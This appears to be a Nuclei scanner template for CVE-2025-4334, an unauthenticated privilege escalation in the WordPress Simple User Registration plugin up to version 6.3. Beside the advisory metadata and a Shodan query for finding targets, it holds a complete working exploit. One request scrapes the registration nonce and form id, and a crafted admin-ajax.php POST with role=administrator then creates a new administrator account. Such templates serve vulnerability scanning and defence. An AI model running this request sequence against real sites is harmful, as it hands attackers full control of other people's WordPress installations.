Simple User Registration <= 6.3 - Unauthenticated Privilege Escalation

id: CVE-2025-4334

info:
  name: Simple User Registration <= 6.3 - Unauthenticated Privilege Escalation
  author: pussycat0x
  severity: critical
  description: |
    The Simple User Registration plugin ≤ 6.3 is vulnerable to privilege escalation. It lacks proper restrictions on user meta values during registration. Unauthenticated attackers can exploit this to register as administrators.
  reference:
    - https://github.com/Nxploited/CVE-2025-4334
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-4334
    epss-score: 0.02588
    epss-percentile: 0.854
    cwe-id: CWE-269
  impact: |
    An attacker can exploit this vulnerability to register with administrator privileges, gaining full control over the WordPress site.
  remediation: |
    Update the Simple User Registration plugin to a version newer than 6.3 when available, or remove the plugin if not essential.
  metadata:
    verified: true
    max-request: 2
    vendor: lifeisincredible
    product: simple-user-registration
    shodan-query: http.component:"wordpress" && http.html:"/wp-content/plugins/simple-user-registration/"
  tags: cve,cve2025,wordpress,wp-plugin,wp,intrusive,plugin,simple-user-registration,vuln


variables:
  username: "{{randstr}}"
  email: "{{randstr}}@{{rand_base(5)}}.com"
  password: "{{to_lower(rand_text_alpha(8))}}"

http:
  - raw:
      - |
        GET /register/ HTTP/1.1
        Host: {{Hostname}}

      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
        X-Requested-With: XMLHttpRequest
        Content-Length: 417

        action=wpr_submit_form&wpr_form_id={{wpr_form_id}}&wpr_nonce={{wpr_nonce}}&_wp_http_referer=%2Fregister%2F&wpr%5Bwp_field%5D%5Buser_login%5D={{username}}&wpr%5Bwp_field%5D%5Bfirst_name%5D=first{{username}}&wpr%5Bwp_field%5D%5Blast_name%5D=last{{username}}&wpr%5Bwp_field%5D%5Buser_email%5D={{email}}&wpr%5Bwp_field%5D%5Bpassword%5D={{password}}&wpr%5Bwp_field%5D%5Bconfirm_password%5D={{password}}&wpr%5Bwp_field%5D%5Brole%5D=administrator

    matchers:
      - type: dsl
        dsl:
          - contains(body_1, "WPR Register")
          - contains(body_2, "user_id")
          - contains(body_2, "Registration Done")
        condition: and

    extractors:
      - type: regex
        internal: true
        group: 1
        name: wpr_nonce
        part: body
        regex:
          - 'name="wpr_nonce" value="([a-f0-9]+)"'

      - type: regex
        internal: true
        group: 1
        name: wpr_form_id
        part: body
        regex:
          - 'name="wpr_form_id" value="([0-9]+)"'